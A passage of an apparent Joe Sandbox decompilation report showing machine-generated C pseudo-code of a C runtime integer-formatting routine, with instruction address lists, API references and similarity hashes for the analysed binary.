																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xd:
																L139:
																 *(__ebp - 0x260) = 0x27;
																L140:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	 *((char*)(__ebp - 0x14)) = 0x30;
																	 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																	__eflags =  *(__ebp - 0x260) + 0x51;
																	 *((char*)(__ebp - 0x13)) = __al;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E004284A0(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E004284C0(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E004284C0(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xe:
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
														}
													case 8:
														L21:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														goto L24;
													case 9:
														L22:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L24;
													case 0xa:
														L20:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xb:
														L19:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L24;
													case 0xc:
														L23:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xd:
														L24:
														goto L209;
												}
											}
											L210:
											 *(_t668 - 0x2ec) =  *(_t668 - 0x24c);
											E0041ADF0(_t668 - 0x40);
											_t497 =  *(_t668 - 0x2ec);
											goto L211;
										}
									}
									L178:
									__eflags =  *(_t668 - 0x24);
									if( *(_t668 - 0x24) == 0) {
										L180:
										 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t668 - 4)))) = 0x30;
										_t605 =  *(_t668 - 0x24) + 1;
										__eflags = _t605;
										 *(_t668 - 0x24) = _t605;
										goto L181;
									}
									L179:
									__eflags =  *((char*)( *((intOrPtr*)(_t668 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t668 - 4)))) == 0x30) {
										goto L181;
									}
									goto L180;
								}
								L174:
								asm("cdq");
								_t624 =  *(_t668 - 0x2b8);
								 *(_t668 - 0x2a4) = E004308C0(_t624,  *(_t668 - 0x2b4),  *(_t668 - 8), _t623) + 0x30;
								asm("cdq");
								 *(_t668 - 0x2b8) = E00430940( *(_t668 - 0x2b8),  *(_t668 - 0x2b4),  *(_t668 - 8), _t624);
								 *(_t668 - 0x2b4) = _t624;
								__eflags =  *(_t668 - 0x2a4) - 0x39;
								if( *(_t668 - 0x2a4) > 0x39) {
									_t628 =  *(_t668 - 0x2a4) +  *((intOrPtr*)(_t668 - 0x260));
									__eflags = _t628;
									 *(_t668 - 0x2a4) = _t628;
								}
								 *((char*)( *((intOrPtr*)(_t668 - 4)))) =  *(_t668 - 0x2a4);
								 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								goto L173;
							}
						}
						L159:
						__eflags =  *(_t668 - 0x2b0);
						if( *(_t668 - 0x2b0) >= 0) {
							goto L161;
						}
						goto L160;
						L161:
						 *(_t668 - 0x2b8) =  *(_t668 - 0x2b0);
						 *(_t668 - 0x2b4) =  *(_t668 - 0x2ac);
						goto L162;
					}
				}
			}

0x00427d4d
0x00427d4d
0x00427d4d
0x00427d4d
0x00427d5d
0x00427d5f
0x00427d62
0x00427d62
0x00427d68
0x00427d68
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e2b
0x00427e30
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e10
0x00427e15
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427dea
0x00427def
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dce
0x00427dd3
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427da1
0x00427da6
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d79
0x00427d7e
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00427e49
0x00427e49
0x00427e50
0x00000000
0x00000000
0x00427e52
0x00427e52
0x00427e5d
0x00427e6b
0x00427e70
0x00427e76
0x00427e84
0x00427ea1
0x00427ea4
0x00427ea9
0x00427eae
0x00427eb4
0x00427ec2
0x00427ec2
0x00427ecb
0x00427ecb
0x00427eb4
0x00427ed1
0x00427ed5
0x00427ee6
0x00427ee9
0x00427ef0
0x00427ef2
0x00427ef2
0x00427ed7
0x00427ed7
0x00427ed7
0x00427eff
0x00427f05
0x00427f07
0x00427f07
0x00427f11
0x00427f14
0x00427f14
0x00427f1a
0x00427f1d
0x00427f20
0x00427f22
0x00000000
0x00000000
0x00427f24
0x00427f2a
0x00427f30
0x00427fad
0x00427fb3
0x00427fbc
0x00427fc2
0x00427fc8
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00427ffd
0x00428000
0x00428003
0x00428008
0x0042800d
0x0042801f
0x00428022
0x00428034
0x00428037
0x00428039
0x0042803d
0x0042803d
0x00428024
0x00428024
0x00428028
0x00428028
0x0042800f
0x0042800f
0x00428013
0x00428013
0x0042800d
0x0042804d
0x00428056
0x00428059
0x0042806f
0x00428074
0x00428074
0x0042808a
0x0042808f
0x00428095
0x00428098
0x0042809d
0x004280a0
0x004280b6
0x004280bb
0x004280bb
0x004280a0
0x004280be
0x004280c2
0x00428196
0x004281a9
0x004281ae
0x00000000
0x004280c8
0x004280c8
0x004280c8
0x004280cc
0x00000000
0x00000000
0x004280d2
0x004280d2
0x004280df
0x004280e8
0x004280ee
0x004280ee
0x004280fd
0x00428103
0x00428105
0x00000000
0x00000000
0x0042810b
0x00428114
0x00428133
0x00428138
0x0042813b
0x0042814a
0x00428150
0x00428157
0x00428162
0x00428162
0x00000000
0x00428162
0x00428159
0x00428159
0x00428160
0x0042816e
0x00428187
0x0042818c
0x00000000
0x0042818c
0x00000000
0x00428160
0x00428194
0x004281b1
0x004281b1
0x004281b8
0x004281bd
0x004281c0
0x004281d6
0x004281db
0x004281db
0x004281c0
0x004281b8
0x004281de
0x004281de
0x004281e2
0x004281ea
0x004281ef
0x004281f2
0x004281f2
0x004281f9
0x004281f9
0x0042737f
0x00427392
0x00427397
0x00000000
0x004273aa
0x004273b4
0x004273db
0x004273c2
0x004273d3
0x004273d3
0x004273b4
0x004273e5
0x004273eb
0x004273fd
0x00427408
0x00427414
0x00427421
0x00000000
0x00000000
0x00427427
0x0042742d
0x00000000
0x00427434
0x00427434
0x0042744c
0x00427451
0x00427456
0x00427510
0x00427523
0x00427528
0x00000000
0x0042745c
0x0042746f
0x00427474
0x0042747a
0x0042747c
0x00427485
0x00427488
0x00427494
0x00427498
0x0042749e
0x004274a0
0x004274a5
0x004274a7
0x004274ac
0x004274b1
0x004274b3
0x004274b8
0x004274be
0x004274c0
0x004274c0
0x004274be
0x004274c1
0x004274c8
0x00000000
0x004274ca
0x004274cf
0x004274eb
0x004274f3
0x00427500
0x00427505
0x00000000
0x00427505
0x004274c8
0x00000000
0x00427530
0x00427530
0x00427537
0x0042753a
0x0042753d
0x00427540
0x00427543
0x00427546
0x00427549
0x00427550
0x00427557
0x00000000
0x00000000
0x00427563
0x00427563
0x0042756a
0x00427576
0x00427579
0x0042757f
0x00427586
0x00000000
0x00000000
0x00427588
0x00427588
0x0042758e
0x0042758e
0x00427595
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004275d8
0x004275d8
0x004275df
0x004275e2
0x0042760c
0x0042760f
0x0042760f
0x00427612
0x00427619
0x00427619
0x0042761d
0x004275e4
0x004275e4
0x004275f0
0x004275f3
0x004275f7
0x004275f9
0x004275fc
0x004275fc
0x004275ff
0x00427605
0x00427607
0x00427607
0x0042760a
0x00427620
0x00000000
0x00000000
0x00427625
0x00427625
0x00000000
0x00000000
0x00427631
0x00427631
0x00427638
0x0042763b
0x0042765b
0x0042765e
0x0042765e
0x00427668
0x00427668
0x0042766c
0x0042763d
0x0042763d
0x00427649
0x0042764c
0x00427650
0x00427652
0x00427652
0x00427659
0x00000000
0x00000000
0x00427674
0x00427674
0x0042767b
0x00427687
0x0042768a
0x00427690
0x00427697
0x004277aa
0x00000000
0x004277aa
0x0042769d
0x0042769d
0x004276a3
0x004276a3
0x004276aa
0x00000000
0x004276e0
0x004276e0
0x004276e3
0x004276e6
0x004276e9
0x00427711
0x00427711
0x00427714
0x00427717
0x0042771a
0x0042773f
0x0042773f
0x00427742
0x00427745
0x00427748
0x00427781
0x00427792
0x00000000
0x00427792
0x0042774a
0x0042774a
0x0042774d
0x00427750
0x00427753
0x00000000
0x00000000
0x00427755
0x00427755
0x00427758
0x0042775b
0x0042775e
0x00000000
0x00000000
0x00427760
0x00427760
0x00427763
0x00427766
0x00427769
0x00000000
0x00000000
0x0042776b
0x0042776b
0x0042776e
0x00427771
0x00427774
0x00000000
0x00000000
0x00427776
0x00427776
0x00427779
0x0042777c
0x0042777f
0x00427783
0x00000000
0x00427783
0x00000000
0x0042777f
0x0042771c
0x0042771c
0x0042771f
0x00427723
0x00427726
0x00000000
0x00427728
0x0042772b
0x0042772e
0x00427731
0x00427734
0x0042773a
0x00000000
0x0042773a
0x00427726
0x004276eb
0x004276eb
0x004276ee
0x004276f2
0x004276f5
0x00000000
0x004276f7
0x004276fa
0x004276fd
0x00427700
0x00427703
0x00427709
0x00000000
0x00427709
0x00000000
0x00427794
0x00427797
0x0042779a
0x00000000
0x00000000
0x004276b1
0x004276b1
0x004276b4
0x004276b7
0x004276ba
0x004276d2
0x004276d5
0x004276d5
0x004276d8
0x004276bc
0x004276bf
0x004276c2
0x004276c8
0x004276cd
0x004276cd
0x00000000
0x00000000
0x0042779f
0x0042779f
0x004277a2
0x004277a2
0x004277a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277af
0x004277af
0x004277b6
0x004277c2
0x004277c5
0x004277cb
0x004277d2
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x004277d8
0x004277de
0x004277de
0x004277e5
0x00000000
0x00427b3f
0x00427b3f
0x00427b46
0x00427b4d
0x00427b4d
0x00427b50
0x00000000
0x00000000
0x004277ec
0x004277ef
0x004277ef
0x004277f5
0x004277f7
0x004277fa
0x004277fa
0x004277ff
0x004277ff
0x00000000
0x00000000
0x0042792c
0x0042792f
0x0042792f
0x00427934
0x00427936
0x00427939
0x00427939
0x0042793f
0x0042793f
0x00000000
0x00000000
0x00427d0c
0x00427d0c
0x00000000
0x00000000
0x00427896
0x00427896
0x004278a2
0x004278a8
0x004278af
0x004278bd
0x004278bd
0x004278c3
0x004278c6
0x004278d2
0x00427927
0x00000000
0x00427927
0x004278b1
0x004278b1
0x004278b7
0x004278bb
0x004278da
0x004278da
0x004278e0
0x00427908
0x0042790f
0x00427915
0x00427918
0x0042791b
0x00427921
0x00427924
0x004278e2
0x004278e2
0x004278e8
0x004278eb
0x004278ee
0x004278f4
0x004278f7
0x004278fa
0x004278fc
0x004278ff
0x004278ff
0x00000000
0x004278e0
0x00000000
0x00000000
0x00427b56
0x00427b59
0x00427b5c
0x00427b5f
0x00427b65
0x00427b68
0x00427b6f
0x00427b73
0x00427b7e
0x00427b7e
0x00427b82
0x00427b99
0x00427b99
0x00427ba0
0x00427ba2
0x00427ba2
0x00427ba9
0x00427ba9
0x00427bb0
0x00427bc1
0x00427bd0
0x00427bd3
0x00427bd7
0x00427bed
0x00427bd9
0x00427bd9
0x00427bdc
0x00427be2
0x00427be8
0x00427be8
0x00427bd7
0x00427bf7
0x00427bfa
0x00427bfd
0x00427c00
0x00427c00
0x00427c03
0x00427c03
0x00427c06
0x00427c0c
0x00427c12
0x00427c1a
0x00427c1b
0x00427c1e
0x00427c1f
0x00427c22
0x00427c23
0x00427c2a
0x00427c2b
0x00427c2e
0x00427c2f
0x00427c32
0x00427c33
0x00427c39
0x00427c3a
0x00427c48
0x00427c4a
0x00427c50
0x00427c50
0x00427c56
0x00427c58
0x00427c5c
0x00427c5e
0x00427c66
0x00427c67
0x00427c6a
0x00427c6b
0x00427c79
0x00427c7b
0x00427c7b
0x00427c5c
0x00427c7e
0x00427c85
0x00427c88
0x00427c8d
0x00427c8d
0x00427c93
0x00427c95
0x00427c9d
0x00427c9e
0x00427ca1
0x00427ca2
0x00427cb1
0x00427cb3
0x00427cb3
0x00427c93
0x00427cb6
0x00427cb9
0x00427cbc
0x00427cbf
0x00427cc4
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd0
0x00427cd3
0x00427cd3
0x00427cd6
0x00427ce2
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00000000
0x00427ff3
0x00427b84
0x00427b84
0x00427b8b
0x00427b8e
0x00000000
0x00000000
0x00427b90
0x00427b90
0x00000000
0x00427b90
0x00427b75
0x00427b75
0x00000000
0x00000000
0x00427802
0x00427805
0x00427805
0x0042780b
0x00427866
0x0042786e
0x00427875
0x0042787b
0x00427881
0x0042780d
0x0042780d
0x00427817
0x0042781b
0x00427823
0x0042782a
0x00427837
0x0042783e
0x0042784a
0x00427850
0x00427857
0x00427859
0x00427859
0x00427860
0x00427888
0x0042788e
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00000000
0x00427cea
0x00427ced
0x00427cf0
0x00427cf3
0x00427d6b
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e2b
0x00427e30
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e10
0x00427e15
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427dea
0x00427def
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dce
0x00427dd3
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427da1
0x00427da6
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d79
0x00427d7e
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427a48
0x00427a48
0x00427a54
0x00427a5a
0x00427a5f
0x00427a61
0x00427b0b
0x00427b0e
0x00427b0e
0x00427b11
0x00427b25
0x00427b2b
0x00427b31
0x00427b13
0x00427b13
0x00427b20
0x00427b20
0x00427b33
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x00427a67
0x00427a67
0x00427a67
0x00427a69
0x00427a77
0x00427a6b
0x00427a6b
0x00427a6b
0x00427a81
0x00427a87
0x00427a8d
0x00427a94
0x00427a96
0x00427a9b
0x00427a9d
0x00427aa2
0x00427aa7
0x00427aa9
0x00427aae
0x00427ab1
0x00427ab4
0x00427ab6
0x00427ab6
0x00427ab4
0x00427ab7
0x00427abe
0x00427b06
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ac0
0x00427ac0
0x00427ac5
0x00427ae1
0x00427ae9
0x00427af3
0x00427af6
0x00427afb
0x00428218
0x00428225
0x00428225
0x00000000
0x00000000
0x00000000
0x00427d05
0x00427d05
0x00000000
0x00000000
0x00427942
0x00427942
0x00427946
0x00427954
0x00427957
0x00427948
0x00427948
0x00427948
0x0042795d
0x00427963
0x00427969
0x00427975
0x0042797b
0x0042797b
0x00427981
0x004279e8
0x004279e8
0x004279ec
0x004279ee
0x004279f4
0x004279f4
0x004279f7
0x004279fa
0x00427a00
0x00427a00
0x00427a00
0x00427a0c
0x00427a0f
0x00427a15
0x00427a17
0x00000000
0x00000000
0x00427a19
0x00427a19
0x00427a1f
0x00427a22
0x00427a24
0x00000000
0x00000000
0x00427a26
0x00427a2c
0x00427a2f
0x00427a2f
0x00427a37
0x00427a37
0x00427a3d
0x00427a3d
0x00427a40
0x00000000
0x00427983
0x00427983
0x00427983
0x00427987
0x00427989
0x0042798e
0x0042798e
0x00427991
0x00427998
0x0042799b
0x004279a1
0x004279a1
0x004279a1
0x004279ad
0x004279b0
0x004279b6
0x004279b8
0x00000000
0x00000000
0x004279ba
0x004279ba
0x004279c0
0x004279c3
0x004279c5
0x00000000
0x00000000
0x004279c7
0x004279cd
0x004279d0
0x004279d0
0x004279d8
0x004279de
0x004279e1
0x004279e3
0x00427a43
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x00000000
0x00427cfc
0x00427cfc
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e2b
0x00427e30
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e10
0x00427e15
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427dea
0x00427def
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dce
0x00427dd3
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427da1
0x00427da6
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d79
0x00427d7e
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427e47
0x00000000
0x00427d18
0x00427d18
0x00427d22
0x00427d22
0x00427d2c
0x00427d2c
0x00427d32
0x00427d34
0x00427d3e
0x00427d3e
0x00427d41
0x00427d44
0x00427d44
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e2b
0x00427e30
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e10
0x00427e15
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427dea
0x00427def
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dce
0x00427dd3
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427da1
0x00427da6
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d79
0x00427d7e
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427e47
0x00000000
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00000000
0x00000000
0x004275b2
0x004275b5
0x004275b8
0x00000000
0x00000000
0x004275bd
0x004275c0
0x004275c5
0x00000000
0x00000000
0x004275a7
0x004275a7
0x004275aa
0x004275ad
0x00000000
0x00000000
0x0042759c
0x0042759f
0x004275a2
0x00000000
0x00000000
0x004275ca
0x004275ca
0x004275cd
0x004275cd
0x004275d0
0x00000000
0x00000000
0x004275d3
0x00000000
0x00000000
0x0042742d
0x004281fe
0x00428204
0x0042820d
0x00428212
0x00000000
0x00428212
0x00427ff3
0x00427fca
0x00427fca
0x00427fce
0x00427fdb
0x00427fe1
0x00427fe7
0x00427fed
0x00427fed
0x00427ff0
0x00000000
0x00427ff0
0x00427fd0
0x00427fd6
0x00427fd9
0x00000000
0x00000000
0x00000000
0x00427fd9
0x00427f32
0x00427f35
0x00427f3f
0x00427f4e
0x00427f57
0x00427f6d
0x00427f73
0x00427f79
0x00427f80
0x00427f88
0x00427f88
0x00427f8e
0x00427f8e
0x00427f9d
0x00427fa5
0x00427f14
0x00427f1a
0x00427f1d
0x00427f20
0x00427f22
0x00000000
0x00000000
0x00000000
0x00427f22
0x00427f14
0x00427e54
0x00427e54
0x00427e5b
0x00000000
0x00000000
0x00000000
0x00427e89
0x00427e8f
0x00427e9b
0x00000000
0x00427e9b
0x00427d6b

APIs

_get_int64_arg.LIBCMTD ref: 00427D79
__aullrem.LIBCMT ref: 00427F46
__aulldiv.LIBCMT ref: 00427F68

Strings

9, xrefs: 00427F79

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction ID: 7aa7841def9a1eb077737b5752854167e2c128fa645d11ccf4ce871d2baba5a4
Opcode Fuzzy Hash: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction Fuzzy Hash: 81410471E18629CFDB64DF48D989BAEB7B5BF84300F5085DAE049A7241C7389E80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0043511C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043511C(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E004284A0(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E004284A0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E004284A0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E004284A0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E004284C0(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E004284C0(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
